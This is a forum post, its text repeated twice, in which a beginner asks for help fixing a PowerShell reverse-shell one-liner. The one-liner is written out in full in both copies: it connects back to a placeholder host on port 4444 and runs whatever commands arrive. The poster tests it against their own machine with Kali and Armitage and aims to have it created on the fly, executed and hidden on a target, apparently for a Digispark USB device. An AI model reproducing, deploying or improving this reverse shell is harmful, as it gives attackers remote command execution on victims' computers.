Hey! I've been running into issues when I run the following on powershell $sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} on my main machine (target machine/victim).
I get an error thrown at me as shown in the screenshots attached. I have my VM running kali on a win10 laptop listening for a connection and through armitage I can see a sender request but then the connection stops and it says "Connection Failed - Reason(Died)" while on the host(target) I get the following errors:
My intention is to create a script similar to your reverse shell script, but instead of downloading the shell from a web server, it is created as a ps1 file and executed through powershell on the target machine.
In this manner, the target machine does not need to download the reverse shell from a web server and instead, it creates the payload on the fly, executes it and hides it.
I am a complete beginner when it comes to powershell and scripting. My background is in SQL, C#, Javascript, Java and such so apologies if this is a stupid issue!
Any help would be GREATLY appreciated!
If I manage to pull this off as 'my' first script, I will gladly share it with the digispark community! :)
Hey! I've been running into issues when I run the following on powershell
$sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
on my main machine (target machine/victim). I get an error thrown at me as shown in the screenshots attached. I have my VM running kali on a win10 laptop listening for a connection and through armitage I can see a sender request but then the connection stops and it says "Connection Failed - Reason(Died)" while on the host(target) I get the following errors:My intention is to create a script similar to your reverse shell script, but instead of downloading the shell from a web server, it is created as a ps1 file and executed through powershell on the target machine. In this manner, the target machine does not need to download the reverse shell from a web server and instead, it creates the payload on the fly, executes it and hides it.
I am a complete beginner when it comes to powershell and scripting. My background is in SQL, C#, Javascript, Java and such so apologies if this is a stupid issue!
Any help would be GREATLY appreciated!
If I manage to pull this off as 'my' first script, I will gladly share it with the digispark community! :)